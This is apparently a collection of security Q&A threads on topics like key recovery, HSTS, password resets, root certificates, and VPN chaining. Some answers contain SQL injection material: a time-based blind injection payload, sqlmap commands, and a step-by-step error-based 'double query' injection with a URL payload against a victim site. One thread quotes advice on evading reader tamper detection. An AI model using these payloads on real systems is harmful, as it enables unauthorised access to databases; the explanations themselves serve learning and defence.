Verify the Git history against a local or archived copy of the repository to ensure its authenticity, and then resign all your commits with a new key (if necessary, which it probably isn't).
Sign the current commit once you've validated it against your sources, and then use the new key going forward.

In Future...

Key material sufficient to recreate a public or private key can't usually be recovered just from signatures, so in future make sure you:

Make regular backups.
Escrow essential keys using a tool like paperkey or ssss, or some other recovery mechanism of your choice.
Ensure your public key is uploaded to a reputable public keyserver and signed by others for validation.
Store your public key under source control, perhaps even inside your source tree if appropriate for your project.
Make sure you have revocation certificates on hand in case you lose your key.

Basically, take steps to ensure that your public key and revocation certificates are recoverable at need, and trusted by other keys besides the key itself.


Why did Facebook not use HSTS for a long time after it became available? (Note that Facebook now does use HSTS. The question was asked at a time when they didn't.)

To force a browser to always go directly to HTTPS for a website (and not rely on 302 redirects from the HTTP version), HSTS (HTTP Strict Transport Security) can be used.

To tell the browser that a website should always be visited using HTTPS a,
'Strict-Transport-Security' header can be sent in the HTTP response. From that moment on, the website will exist in the browser's HSTS list, and when someone types the site name (e.g. example.com) in the URL bar, they will be sent to https://example.com/ rather than http://example.com.

Google, Gmail, Twitter and Paypal are examples of major websites that make use of this functionality. Facebook, however, does not seem to send a 'Strict-Transport-Security' header in its responses. Can anyone give me a good reason why they have chosen not to use HSTS?

Edit: Facebook now use HSTS, so both question and answer are now incorrect.

Because using HTTPS for Facebook is optional.

If you look in "Account Settings" and "Security Settings" there is an option for "Secure browsing". It has defaulted to on since July 2013 but you still have the option to turn it off.

If they used HSTS then when you turned off "Secure browsing" the site would cease to work - at least, unless they did some fairly funky workaround.

I can't think of any practical reason to disable secure browsing. Certainly any such reason would be rare. I think the option is there more due to historical accident than active planning.


Can I control network traffic or bandwidth using router? That's the question I have access to the Arris router of a lan there are several options like DMZ, UPNP, Firewall and others. I want get a more large bandwidth of my internet for faster download on my WI-FI so, is there a way I can redirect the network data traffic or internet bandwidth to a predetermined computer, and how should I do it?

Maybe this question could be better answered in other page because this is focused on security. Anyway...

Usually home routers don't have that feature. Usually they have QoS, but is not the same "QoS control" than "Bandwith control". Is a very different feature. You can read about them in this article for example.

In the field of computer networking and other packet-switched telecommunication networks, Quality of Service refers to traffic prioritization and resource reservation control mechanisms rather than the achieved service quality. Quality of service is the ability to provide different priority to different applications, users, or data flows, or to guarantee a certain level of performance to a data flow.
Traffic shaping (also known as Bandwith control) is a computer network traffic management technique which delays some or all datagrams to bring them into compliance with a desired traffic profile. Traffic shaping is used to optimize or guarantee performance, improve latency, and/or increase usable bandwidth for some kinds of packets by delaying other kinds. It is often confused with traffic policing, the distinct but related practice of packet dropping and packet marking.

I did it time ago at home using custom firmware. There are some custom firmwares like dd-wrt or tomato firmware which have these features. In my case installed tomato firmware and worked like a charm reserving some bandwith for playing a game while watching youtube's videos without increasing latency. Of course these firmwares are compatible with a limited hardware. Can't be placed on any router. Check out the compatibilities lists on their pages.

Good luck!


What to do when using your private key from another computer? I'm going to be connecting to one of my servers from my boss' computer (Win 10) using PuTTY. In order to do so, I'll be using my private key. Is there anything I should do before/after to prevent my key from being stolen?

My plan was:

Install PuTTY
add priv_key file to it
connect
…
Uninstall PuTTY
remove priv_key

A more secure alternative is to create a new keypair that you use for this purpose.

Create the keypair on your boss' computer.
Transfer the public key to your own computer.
Connect to the server and add the public key.

Now your boss' computer can connect to the server. When this is done, you can remove the key on the server. This way, your own key does not leave your computer and your boss' key is only valid a short while.


how to assess mobile device managment containers Ive read a lot about container ( mostly docker) technology and its limitations in terms of security.

I note that MDM/MAM solutions use containers to secure enterprise data. The idea being that the enterprise data can be remotely wiped if it is held in a sandbox.

Now having read about securing Docker containers I am aware that containers are not very secure (they do not contain, for example, if all of the kernel functions are not name-spaced).
Similarly, there are steps that may be taken to harden containers against misuse.
Thus it is only right to conclude that all mobile containers are not made equal. So my question is  how to assess these different container implementations if they are hidden? Some sort of black box testing is in order..... what would be a reasoned approach/tools
In the full realization that if the device itself falls into the wrong hands then all bets are off security wise. To buy into this technology you must be able to appraise the security of the container and not jut take it on trust that it is "good".

This is done not just with black box testing, but also full code review, white-box testing, and everything in between, and is generally provided by consultants experienced in this space. I'm not convinced there is much value in end-user organisations conducting their own testing, as you will spend a lot of time rebuilding after each time you accidentally wipe the device :-)

And you are slightly mistaken in your assumption that all bets are off if the attacker gets hold of the device. The whole point of it is that it doesn't matter if an attacker acquires the device - the security is such that the container is resistant to attack, at least to the extent that a small number of failed attempts wipes the key, leaving the container useless.


Does a domain alias give any security against hackers? We have an app which runs off of a private API. We have a server which hosts the API, as well as an admin panel where staff can log in and make changes to the app's content. The API and admin panel run on the same web domain. Let's pretend the domain is appname.com and the URLs are appname.com/api and appname.com/admin

Originally, there were no public web pages on the server or domain. However, we added a password reset page at appname.com/resetpassword so that app users who have forgotten their password can request a password reset email.

Immediately after we added the password reset page, the project head (who is not a technical person) became concerned that putting the password reset page on the same domain as the API and admin site could expose the server to hackers, who might not otherwise be aware of the domain since it has no other public pages. They asked that we put the password reset page on a different domain so that hackers wouldn't know how to find the primary domain.

This logic doesn't make sense to me, for several reasons:

I've never seen anyone else do something similar to this, although it's hard to think of direct parallels
The domain name of the backend isn't hard to guess even when there aren't any public pages on the site
If we add a public web site in the future, it would logically be located at the same domain, at which point the domain would no longer be a secret anyway
Any hacker sophisticated enough to break through the security measures on the server could easily find the API URL, and thus the site domain, by following packets sent from the app.

However, the project head is adamant that the password reset page cannot be on the primary domain. What strikes me as the easiest solution is to set up a domain alias, something like appname-passwordreset.com, which points directly and exclusively to the password reset page. However, will this buy us anything? appname.com and appname-passwordreset.com would have the same IP address. Would using the latter alias realistically prevent a hacker from finding or breaking into the server?

Note: I realize that an alternative is to only let the user request a password reset email from within the app. However, the password reset email has to have a link to a webpage, thus taking us back to the original problem

It's absolutely trivial for an attacker (or security researcher, or hacker) to find out what the hostname is for requests going to the API for your app.  There's multiple techniques that can be used to figure this out.

Decompile the application and look for the hostname in the source.  Perhaps you obfuscate the app and all the strings?
MITM the traffic between their device and your API and look at the requests.  But perhaps you do TLS with certificate pinning?
Passively sniff the traffic and look at the SNI value in the ClientHello.  Ok, you could configure the SSL library not to use SNI.
The hostname is in the certificate that's sent back in the clear.  But I guess you could fake that if you're doing your own hostname verification.
Passively sniff the DNS traffic when your app starts making a connection.

At this point, you could get silly and use hardcoded IPs, or DNSCrypt, or other techniques, but the attacker can also use a rooted device and dump the memory of your application, or just figure out hostnames from IPs based on the traffic you're sending.

If hiding your hostname is the difference between being compromised and not, you've already lost and just don't know it.  Thinking that hiding the hostname is useful is just lulling your project head into a false sense of security.


DNS resolution when typing IP address into the browser instead of domain I am trying to reach a website which AFAIK is DNS blocked in the country I am residing. The webpage I am trying to access is pinnacle.com.

Given the understanding of how DNS works I have, to work around the problem, I user an online DNS lookup tool (dnsqueries.com). From an A record I found the IP address 192.230.70.134. I happily entered that into the browser, trying both :80 and :443, but  got returned the following error:

  192.230.70.134 - Resolving failed

  Error code 22

  The proxy failed to resolve site from host name, if this site was
  recently added please allow a few minutes before trying again.

  <...> Proxy IP 192.230.70.134

When using :443, Chrome also shows that the website's HTTPS Certificate is invalid, even though when inspecting it, it looks alright and it even says Certificate is OK.

I don't understand what sort of DNS resolution it is complaining about and why I could be facing such a problem.

HTTP and HTTPS are protocols which need the correct hostname in most cases. Often multiple sites are hosted on the same IP address and they can be distinguished only by the name given either in the HTTP-Host header and in case of HTTPS the SNI extension in the TLS handshake. Accessing a site by IP address omits the information about the requested hostname and thus can result in strange error messages or the wrong certificates.

In the specific case of pinnacle.com and the IP address 192.230.70.134: this IP address belongs to Incapsula which is a DDoS mitigation company. The error message you see is from their reverse proxy which forwards the traffic to the protected sites. It cannot handle the hostname 192.230.70.134 given in the HTTP requests since it expects instead the real hostname pinnacle.com. That's what the error message "failed to resolve site from host name" means - it is about finding the target host to the given name and not about DNS resolution.


Reset Password Link input parameters - where do place? Which is more recommended?

The user security questions are asked before the forgot password reset link is send to email?

or

Security questions are asked in the page that shows up right after the forgotpassword link is clicked when received in the email?

What are the pros and cons for each? We implemented the latter. Just making sure we covered all bases in this approach,

Security questions are no longer considered a good enough mechanism to protect account recovery, they are often guessable or easily obtainable through OSINT.

Source : https://nudatasecurity.com/blog/risk-based-authentication/4-big-problems-with-knowledge-based-authentication/

Source 2: https://www.howtogeek.com/185354/security-questions-are-insecure-how-to-protect-your-accounts/

Source 3: https://www.wired.com/2016/09/time-kill-security-questions-answer-lies/

You should look at using reset tokens and send that token to your user via email.

If you do insist on using security questions, then there are a few things to consider. Having the questions before the reset link means if you know the user's username or maybe an email address, you can access their questions, do some research and find answers to those questions.

Having them after the reset email has been issued means the user must have access to that email account to even access the questions in the first place.

OWASP Guidance says you should verify questions before sending a token:
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet

If you are transmitting answers between your client and server, treat them securely as you would a password. Use POST over HTTPS, don't put them in the URL or in headers. POST them back in a secure form.

This post here on Security Stack Exchange is also worth reading:
How to implement “forgot password” functionality?


What implementations of Biometrics Encryption exist now? As I was studying a paper authored by Anna Romanou with title "The necessity of the implementation of Privacy by Design in sectors where data protection concerns arise" I came across Ann Cavoukian's proposal that states on how to use biometrics.

What is stated is to use biometric characteristics as a key to encrypt another credential such as pin, password, conventional cryptographic keys and using the second type of credential as authentication, therefore there is no need to store biometric information that is extremely sensitive.

So if a software/systems Engineer wanted to use this type of cryptography, what algorithms/libraries does he/she has at his disposal?

Note: The purpose of this question is to create a public index of libraries and algorithms for these type of encryption in order for our colleagues to use it. For example, a .NET developer can use the X library.

They're basically suggesting that you use biometric data as a key to encrypt a larger, more random key for stronger encryption. This is similar to encrypting OpenPGP private keys with a symmetric cipher and a key derived from a passphrase. You could do the same with the output of a biometric device in place of the passphrase.

I think the real benefit to what they're proposing is not the strength of encryption, but enabling the use of biometric authenticators without actually storing the biometric data. This is similar to hashing passwords.

I think you'll find much of the industry moving away from biometrics as a single authenticator, though. They have a major flaw: you can't change biometric identifiers. The NIST Digital Identity Guidelines have a section on using biometrics for authentication that covers the topic in better detail and expertise than I could provide. But a summary over their points would be:

The false positive match on biometric scanners is still generally too high to be trustworthy
A user's biometrics are tied to their physical person, and generally do not change. While experimental technology exists to revoke a digital identity verified by biometrics, it is still early stage and note widely available
Biometrics are not secret, as they can be easily taken by lifting fingerprints or taking a photo of a person (in the case of facial recognition)

Here's a workflow that show's how biometric-based encryption works:


Do cell-phones exist with open source baseband processors? In a recent question (can't seem to find now), someone asked:

  Is it possible to track a phone which is off?

and received a response of

  Who's to say that it's really off? Your phone has both a CPU and a baseband processor, which may keep running after you've "powered off" the phone. Details of baseband processors are trade secrets and are proprietary.

Are there any cell phones available (preferably running Android) which do have an open-source baseband processor and code? If they're all proprietary, how can anyone be sure that they don't have a backdoor built right in by Qualcomm?

From a security perspective, you can achieve the same security either through a review of the component (which you want to achieve with an open-source baseband through the many-eyes-principle), or proper isolation.

Open source

The first appproach is very hard, as regulatory authorities need to certify your baseband firmware. Because of this certification requirement, even if you had an open-source baseband, it would need to be tivoized. You would perhaps see there is a backdoor, but you couldn't remove it.

Open sourcing generally does not imply anything over the security of the product. There are chilling effects from the easy possibility for a security review, which make backdoors harder to create. Of course, security patches can be provided by anyone and not just the vendor, which decreases the time between the discovery of a 0day and its fix. But that doesn't remove the need for a security review.

Isolation

Isolation removes the need for a security review of the isolated component, because the isolating component is reviewed instead. In that review, the isolated component may not be trusted at all. Google did this on the adobe pdf reader and flash player in chrome, and mozilla plans to do this on the adobe DRM plugin, to name two examples. In our case the baseband chip for example needs to be cut off the microphone line when its not having a call.

This approach is done by the Neo900 project. They state on their website:

  On Neo900 one can be sure that the modem is actually turned off when requested, not just pretending to be. User will be notified in case of modem wanting to do something without his consent.

Isolation perhaps renders backdoors in the baseband chip useless, but when there is a 0day in the isolating component, it can be used to gain control over the phone.

If you want to be sure the phone is off when it tells you so, you should remove its battery. This can be inconvenient, but with that you can be sure, as the other smaller batteries in the phone are not capable of sustaining the phone for a long time. However, sending a few weak beacons "Hello, this is me!" may be possible, but that is pure speculation.


Running tails on a corporate computer Is it safe to run TAILS on a corporate computer?

I mean a corporate computer that has hardware cryptography and probably some backdoors; and, by safe, I mean that nobody will be able to recover what I did with TAILS locally.

ps : by corporate computer I meant a laptop and using it at mcDonalds or starbucks.

Tails (https://tails.boum.org/) is a "live" bootable system.  That is, you boot it from DVD, USB, etc.  According to the "About" page, it forces all traffic through Tor.

If you booted Tails from a work computer, the IT folk would be able to tell that you shut down the OS and rebooted it some time later, "some time" being the length of your Tails session.  They'll also be able to tell that you connected to a Tor node.  Those two things together are likely to cause some difficult questions from your bosses if they're noticed.

Can they see exactly what you did?  Probably not.  There are some attacks on Tor detailed here: https://en.wikipedia.org/wiki/Tor_%28anonymity_network%29#Weaknesses  Whether your corporate IT department is up to those I do not know.  Probably not.  They might, however, try to block Tor, either on general principles or because they noticed activity.  Tails claims to be able to circumvent certain kinds of blocking.  It is at least plausible that your IT department will notice attempts to circumvent blocking, and quite likely if they've blocked Tor because they observed you using it.

I see that you are in France.  I have no idea what the French government thinks of people using Tor, but you should find out before you try it!

Best advice: While at work, do work.  While at home, play.


Challenging challenge: client-side password hashing and server-side password verification We have a website where users need to log in to access privileged information. Obviously we are using SSL, but I also want to avoid plaintext passwords from accidently ending up in server logs, or wandering eyes of administrators. Therefore, I want to implement client-side hashing using Javascript.

Furthermore, I want to avoid revealing pairs of users with identical passwords, thus use a user-specific salt. Lastly, I would like to add a random challenge (aka nonce) into the mix to ensure an eavesdropper* can not use the final hash as the new "password". I will make an additional roundtrip to the webserver to obtain the salt and challenge before starting the password hashing.  *) Yes, we are using SSL, but as a defense in depth I would like to make the implementation as solid as possible.

Especially the challenge is challenging. The only feasible implementation I know of, is first calculating the final password hash (using bcrypt, scrypt or PBKDF2) and then do one additional sha256_hmac round using the challenge. On the server-side we fetch the password hash from the database and perform the same additional sha256_hmac and compare the result.

However, the above would imply that the full password hash calculation must be done client-side in Javascript, because hashing in the challenge should always be the last step. On a legacy(?) iPhone 3G, only 6 bcrypt rounds, or 5000 PBKDF2-SHA256 rounds can be done within 2 seconds which is the maximum delay we can tolerate.

Question #1: Am I correct that nowadays bcrypt should be at least 12 rounds, and PBKDF2-SHA256 at least 5000 rounds? So I should choose the 5000 rounds of PBKDF2-SHA256?

Question #2: Do there exist challenge-response mechanisms that can operate earlier in the process (e.g. on a once hashed password), so I can leave the bcrypt/PBKDF2 hardening to the webserver?

Question #3: Assuming no such challenge-response mechanism exists, is it better to abandon my challenge-response requirement and only apply a user-specific salt client-side and do thorough hardening server side? Would that result in an overall stronger system than using a challenge-response mechanism and less rounds?

EDIT: To summarize the long trail of comments below about the security of client-side hashing in general: the general opinion seems to be that the added complexity is not worth it and it is better to put the effort in auditing the server-side code and limiting server-side access for untrusted staff.

I think you're wasting your time and adding needless complexity.  I don't think the reasons you give are sufficient to warrant this kind of client-side password hashing mechanism.

Instead, I suggest keeping it simple.  Send the password over a SSL-encrypted link.  When it comes to security, simple is good.  Needless complexity is the enemy of security, because it introduces the opportunity for bugs and mistakes.

Save your energy for other security tasks that will address more realistic threats.  There's a limited amount of time and energy and budget one can spend on improving security; best to spend it on the places that will yield the greatest bang for the buck (the greatest improvement in security, given the investment).  I think you'll find there are other ways you could spend your hardening your system that will improve security more.

If you're worried about whether the server-side code is handling the password appropriately, then review that code carefully: it should be contained to within a very small chunk of code.  This should take care of risks like, e.g., the server logging cleartext passwords: you just read every line of code that's involved with password checking or that reads the password, make sure the first thing it does is to hash the password appropriately, and make sure that all it does is check the password for validity and return true or false.  If your system is well-designed, this should be pretty straightforward to verify through code review.  If the code isn't well-designed, maybe now would be a good time to fix that.


Prevent and/or detect installation of root certificates on Windows? I noticed that some applications installed root certificates on my computer.

Is it possible to prevent this?
Or is there a firewall or such that notifies me?

Windows Environments.

Background

Windows servers that have internet connectivity reach out to CA servers and automatically update Trusted Root Authority certs, CTL, STL and Revoked certificates. This occurs in the background and requires zero input or interaction from the user.

Why control it?

Many government environments like to shut this setting off as it's all about control. For instance when the Dell's eDellRoot CA certificate was first shown to be a vulnerability - Microsoft didn't revoke it right away. It took a few days before it ended up on any Untrusted or Revoked list. So many in the security field feel as though they can react faster by controlling the lists themselves. Many reduce the threat as soon as they find out through various channels as opposed to waiting for Microsoft teams deeming something unsafe.

How to control it?

To turn off Automatic Root Certificates Update via Local Group Policy Editor:

Click Start, and then click Run.
Type gpedit.msc, and then click OK.
If the User Account Control dialog box appears, confirm that the action it displays is what you want, and then click Continue.
Under computer configuration, Double-click Administrative Templates, double-click System, double-click Internet Communication Management, and then click Internet Communication settings.
Double-click Turn off Automatic Root Certificates Update, click Enabled, and then click OK.
Close the Local Group Policy Editor.

Note that doing it this way is safer than turning off Automatic Updates. Because you still want other security patches to be applied. (Assuming you have an internet connection.)


Is it possible to get an SQL injection without an error coming back? I've tried doing an SQL injection on a website using the Hack Bar. The server did not respond to SQL errors.

I've also tried using sqlmap:

sqlmap -u http://website/login.php?op=login --dbs
sqlmap -u http://website/login.php?id=1 --dbs
[10:06:33] [CRITICAL] all tested parameters appear to be not injectable.

So my question is: Is it possible to get an SQL injection, even if the web server does not show any error?

Yes, it's called Blind SQL Injection, which is quite hard, but not impossible.

If you can query for a lot of true / false values, then it's a Content-based Blind SQL Injection.

Another common method is the Time-based Blind SQL Injection, where you basically instruct the database to perform a time-intensive operation. If the web site does not return a response immediately, the web application is vulnerable to Blind SQL Injection. Mostly, the sleep operation is used.

yoursite.com/index.php?id=1337 and if(1=1, sleep(42), false)

If the page doesnt reload asap, it's vulnerable.


Yubikey / GPG with OpenSSH signed key I am currently looking into the possibility of using Yubikey (NEO)'s to store the private SSH keys of my users. By searching the internet I've found several places that explain how you can generate a GPG master key and subkey, import it on your Yubikey, export and convert the public key and setup gpg-agent to connect via ssh.

What I can't seem to find anything about is a way to also sign the key and load that into gpg-agent using OpenSSH's method for signing user keys. For my servers I have generated a key using ssh-keygen and set that key up as a CA via TrustedUserCAKeys in sshd_config. After converting the GPG public key to an OpenSSH public key I can sign it using ssh-keygen, but I'm unable to get gpg-agent to use the private key in combination with the signed public key. I know I can put the signed key in the authorized_keys file on the server, but the main advantage in my use case of using TrustedUserCAKeys is that it alleviates the burden of having to maintain an authorized_keys file for all users on all servers and instead only having to maintain a revoked_keys list. So I'd like the signed key to be placed on the client side rather than the server side. Putting it on the server side would defeat the purpose of signing the key in the first place except for the added expiration date.

It is not a requirement to have the signed public key loaded onto the Yubikey and/or into gpg-agent, if there is a way to have PuTTY, MobaXterm or some other Windows SSH connection tool or any tool at all to make the SSH connection use the signed public key as opposed to the unsigned public key, whether it via the Yubikey, gpg-agent or loading the file separately, that would be a great solution as well.

Is this at all possible or is there no solution (on Windows) that supports including a signed public key with a private key?

Also something I just thought of is that if I can somehow sign the subkey with another PGP key and use that PGP key as the ssh CA that'd be fine too, as long as it's possible to convert it to an OpenSSH private key to also sign regular SSH keys.

using Yubikey (NEO)'s to store the private SSH keys of my users

This use-case is described on yubico website here:
https://developers.yubico.com/yubico-piv-tool/SSH_with_PIV_and_PKCS11.html

  What I can't seem to find anything about is a way to also sign the key and load that into gpg-agent using OpenSSH's method for signing user keys.

The step 2 from the above mentioned method can modified that you will not self-sign the key, but sign it with your CA key.

This method should work also on windows (yubico-piv-tool) has releases also for Windows.


Defending against Wiegand sniffing (ESPKey) attacks in RFID card readers It's known that card readers, which use the Wiegand format, can be attacked by installing a sniffer, such as an ESPKey. After the sniffer is installed, whenever anyone uses the reader, their credentials get saved, and the attacker can clone them.
What is the defense against this? The article mentions that card readers have a tamper sensor. Is a correctly installed tamper sensor enough to thwart this attack? What exactly does the tamper sensor do, and what happens when it's set off?
Also, since ESPKey attacks specifically target the interceptable wiegand protocol, is there some other protocol which provides secure communications? Many articles cite Wiegand as being the most common protocol. What percentage of card readers are vulnerable to this attack, and what's the next most common non-vulnerable protocol?

After doing some more research, as far as I could tell, this is how it works:
The tamper sensor is either a light sensor or a physical switch. If an attacker dismounts the reader from the wall, the sensor gets tripped and an alarm signal is sent down the wire to the controller. I have not researched what exactly the controller does with that alarm signal.
It seems like this sensor is not always installed by default. Example from HID manual:

All readers utilizing a physical tamper switch have tamper enabled automatically. By default, readers utilizing an optical switch do not come with tamper enabled.

The ESPkey manual states that the installation of such tamper sensors is "rare":

While rare, most modern readers have hardware support for a “tamper detection” feature of some kind. If such sensor is wired to the control panel for monitoring, it must be mitigated during ESPKey deployment to prevent detection of the field operator.


Callback Detectors: Connection to High Confidence C&C Server IP Detected We are in the process of tuning McAfee ESM. Below is the log-

Source IP = 173.224.123.242
Destination IP = Internal IP (always the same)

Source Port = 443
Destination Port = 3740 (2502, 2442, 1208, 1118, 3526, 1175, 4499,4466)

alert 2

Source User = NA,
Destination User = NA

First Event - 05/13/2016 19:50:09
Last Event - 05/13/2016 19:50:09
Event Count - 2

Message - Callback Detectors: Connection to High Confidence C&C Server IP Detected
Application -
Average Severity = 90
Signature ID = 305-284

Kindly help me understand why  am I getting these and what action should I take?

The IPS sensor seems to believe that 173.224.123.242 is a C&C server (this information is taken from McAfee itself, which analyzes the server to determine if it is malicious or not).

A C&C would be a server that has been compromised and manages a botnet, for example. This is not a good sign.

If this signature is showing up always for the same internal host, disconnect it from the network immediately and determine if it has been compromised or not (run an up to date AV, check the processes that are active, etc.). If the external IP belongs to your company, this may indicate a false-positive. Then, make sure the server is really OK and create a filter to ignore this alert in the future.

Hope it helps! :)


Double Query injection I'm trying to learn about "Double Query Injections", but in the tutorials they write following the command but without any explanation:

(select * from (select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a)b)

I would like to know why group by a is used

What are floor(rand()*2) and select count(*) used for?

This link is a great reference. Let's break this monster query down.

Building blocks

First of all, be sure you are familiarized with the SQL functions and statements used in the attack:

CONCAT() 1

Concatenate several expressions together:

MariaDB [(none)]> SELECT CONCAT("SQL ", "injection ", "is ", "cool");
+---------------------------------------------+
| CONCAT("SQL ", "injection ", "is ", "cool") |
+---------------------------------------------+
| SQL injection is cool                       |
+---------------------------------------------+

FLOOR() 2

Return the largest integer value that is less than or equal to a number:

MariaDB [(none)]> SELECT FLOOR(25.75);
+--------------+
| FLOOR(25.75) |
+--------------+
|           25 |
+--------------+

RAND() 3

Return a random decimal number (no seed value - so it returns a completely random number >= 0 and <1):

MariaDB [(none)]>  SELECT RAND();
+--------------------+
| RAND()             |
+--------------------+
| 0.7757022090029924 |
+--------------------+

COUNT()

The COUNT() function returns the number of rows that matches a specified criteria. Note that COUNT(*) is the same as COUNT(1) (check here for more information). It is used this way in order to assure NULL results will not be excluded from the counting.

LIMIT

Select a row and the next rows until a number.

SELECT * FROM tbl LIMIT 5,10

This query returns lines from 6 to 16.

GROUP BY 4

Often used with aggregate functions (COUNT, MAX, MIN, SUM, AVG) to group the result-set by one or more columns.

SELECT COUNT(CustomerID), Country FROM Customers GROUP BY Country;

This query lists the number of customers in each country.

0x3a

Just the hex code for :. Check your favorite ASCII table for more information.

Now, putting things together.

floor(rand()*2)

TL;DR: The goal of this block is to generate 0 or 1 randomly.

rand() generates a random number between 0 and 1 while floor() takes the closest lower integer. Think about floor(rand()) for a moment. It's output is always 0. This is why you multiply rand() by 2. Now the floor(rand()*2) function will take an integer in the interval [0,2), therefore 1 or 0.

Breaking it down

Since there are lots of subtrings here, let's move inside out.

select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1

MariaDB [sqli_test]> select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1;
+------------+
| table_name |
+------------+
| myTable    |
+------------+

Simple selection of the name of the second table returned from the sqli_test database. Let's call this result @RESULT1. You could actually store it in a variable.

concat(0x3a,0x3a,@RESULT1,0x3a,0x3a, floor(rand()*2))

Concatenation of strings. Returns ::<TABLE_NAME>::[0-1]. For example ::mytable::0 or ::mytable::1. Name it @RESULT2.

For the next step, note that select * from information_schema.columns; returns all the columns in all the tables. Therefore, if we run select @RESULT2 a from information_schema.columns;, we will receive something like:

+--------------+
| a            |
+--------------+
| ::myTable::0 |
| ::myTable::0 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::0 |
+--------------+

Therefore, let's group by @RESULT2 (the modified names of the tables) and name it @RESULT3:

select count(*), @RESULT2 a from information_schema.columns group by a

MariaDB [sqli_test]> select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a;
+----------+--------------+
| count(*) | a            |
+----------+--------------+
|      887 | ::myTable::0 |
|      962 | ::myTable::1 |
+----------+--------------+

It returns the total number of columns groupped by tables which names were generated in @RESULT2. Note that a is just an alias for @RESULT2. Also, since the appended 0s and 1s are randomly generated, the numbers in this table should change every time you run the query.

After running it a few times, it will crash

 ERROR 1062 (23000): Duplicate entry '::myTable::0' for key 'group_key'

Due to the inserted randomness, sooner or later items in a column will have the same name, generating an error. Note that the error leaks myTable. BAM! Juicy info!

What is that all about anyhow?!

You could run this query in a page vulnerable to SQL Injection, like this:

http://myvictim.com/?id=1' AND (select count(*), @RESULT2 a from information_schema.columns group by a)

This would force the leak of the table name. You could obviously change the query to leak other info.

Just for the sake of completeness this would trigger an error like:

Operands should contain 1 column(s)

Note that in fact our SELECT... query returns 2 columns, making it impossible to AND with another query. We could solve it with:

select 1 from(@RESULT3)b

Note that we must put b as the alias, otherwise:

Every derived table must have its own alias.

This is an awesome and clever way to leak information!


Can't log into Windows, mac-spoofing issue or malware? My computer won't let me log into my account. On the Windows sign in screen it has my account name, but when I put in my password, it always says my password is wrong. No Caps Lock.

This happened just after I configured MadMACs to "Run on Startup" and rebooted Windows! Can MadMACs change/corrupt Windows' login password? I'm using Windows 7 x64 Ultimate.

Here's the MadMACs' source code

I already reinstalled Windows but I'm afraid if it was a malware some data might be stolen (bitcoin wallet and other important stuff).

Well we may never know what the cause was but I would have dropped in the ophcrack livecd and at least checked to see if the password had changed.
ophcrack live cd


Why might I want to remove the wlwmanifest.xml file in WordPress? Often when I find resources about XML-RPC vulnerabilities with respect to the xmlrpc.php file commonly found exposed on WordPress sites, I find alongside the recommendation to remove or block the xmlrpc.php file that it is also recommended to remove wlwmanifest.xml (Windows Live Writer Manifest link).

So far as I can tell wlwmanifest.xml does not offer up any WordPress version information, nor does it seem able to be leveraged for testing username/password credentials as xmlrpc.php does.

Most of the content in the sources below states, in summary, "remove code if not using as it is unnecessary."

Can anyone shed some light as to why this file should also be removed/blocked? If this is not a security concern, is this just simply an optimization?

Thank you!

Sources (that suggest removal/block of wlwmanifest.xml):

https://bestwebsoft.com/what-is-xml-rpc/
https://codeless.co/how-to-remove-wordpress-unnecessary-tags/
https://perfmatters.io/docs/remove-wlwmanifest-link-wordpress/

There's no point in removing it. It's a static file with information on how Windows Live Writer can talk to wordpress.

Discovering that you're running wordpress is usually rather trivial, so nothing much is revealed by this file either.

When it comes to securing WP, focus on staying up to date, via automatic patching.


Is sending IP Address as a parameter with a POST request from a client to a rails server safe? I am trying to get the IP address and send it to my rails server as a parameter of a POST request. Is this action safe?

There's no utility on sending IP address of local device, on which you app is running. There're good chances that you'll get only local ip-address from the device, which is hardly useful. Moreover, in the days of dynamic public IP address assignment from ISPs, IP addresses are hardly used for monitoring or tracking purpose(As there're good chances that public IP address assigned to you by your ISP, may be assigned to some other computer, at another time).


What would running a VPN client over a VPN router actually do? Just curious.. would it add any additional layer of security to use something like Private Tunnel VPN or another while connected to a VPN router?  Or would it just be overkill and slow things down for no reason?

Interesting question. What it would actually do is route your traffic from your device to secondary VPN's endpoint through your routers VPN endpoint. Theoretically, it would add another layer of security, although depending on your threat model, this layer may be considered security via obscurity. And of course, this will slow down your connection speed and increase overhead.

Without more details, I will take a blind stab at this and ask: What is your threat model? What are you trying to achieve with this setup? I will hypothesize a couple of scenarios in which one may wish to do this:

If you don't trust your router, lan, ISP, local government, or gateway VPN's endpoint, than it may be worth the performance hit because (properly configured) it would protect you from attacks on your LAN, and it would hide your real IP address from your device's VPN provider/server.

If you don't trust the client's VPN provider or server's ISP or government... (if you are in the USA also remember that you actually have more legal protections [or so they say] with traffic that does not leave the United States -- traffic routed overseas actually is easier to legally intercept in certain cases) , than this setup (used properly) would effectively hide your IP address.

If you don't trust whatever services you are connecting to, than it never hurts to have another layer to make it harder to trace the orgin of your traffic, but be careful of common gotchas such as web-rtc leaks and other user created points of failure.

In general, this setup would add little anonymity and could be defeated by traffic analysis, application level bugs/backdoors, and most importantly; mistakes made by the user (the user is usually the weakest link in any security chain).

However, it would make it more difficult for someone trying to track your web activities to obtain all of necessary log files (depending on the integrity of the VPN providers [or their ISP's] and the legal jurisdiction that the services are hosted in).

If your threat model is an intelligence agency or something like that, than a better setup would be to use a chain of proxies (some of which can be tor) in conjunction with your VPN. The exact setup you would want would depend on what you are trying to achieve (ie, do you want to proxy into your VPN, or access a chain of proxies through the VPN, or some combination thereof?). Personally I would use something like Whonix, routed through a VPN server, and use an anonymous VPS server as your final hop (change it frequently and be careful about sending any data through this final exit that can personally identity you, otherwise this is all a waste of time).

As always, do not leave an audit trail -- whether that be using a credit card in your name to pay for both services, or not taking the proper precautions to hide the source of your traffic while setting up your configuration. I recommend implementing tor into your setup for scenarios that require high anonymity. However, I would not rely on tor alone.

Personally I like to do something such like client > VPN > Tor > [randomly selected and frequently changed anonymous proxy server] > destination. Be careful about that final hop though. If you can deal with being captcha'd all over the place, omit it because it can act as a single point of failure defeating all of your efforts.

In conclusion, define your threat model, do much research, and make an informed decision about how much performance you should, or are willing to sacrifice to gain security and/or anonymity. Hope that helps.


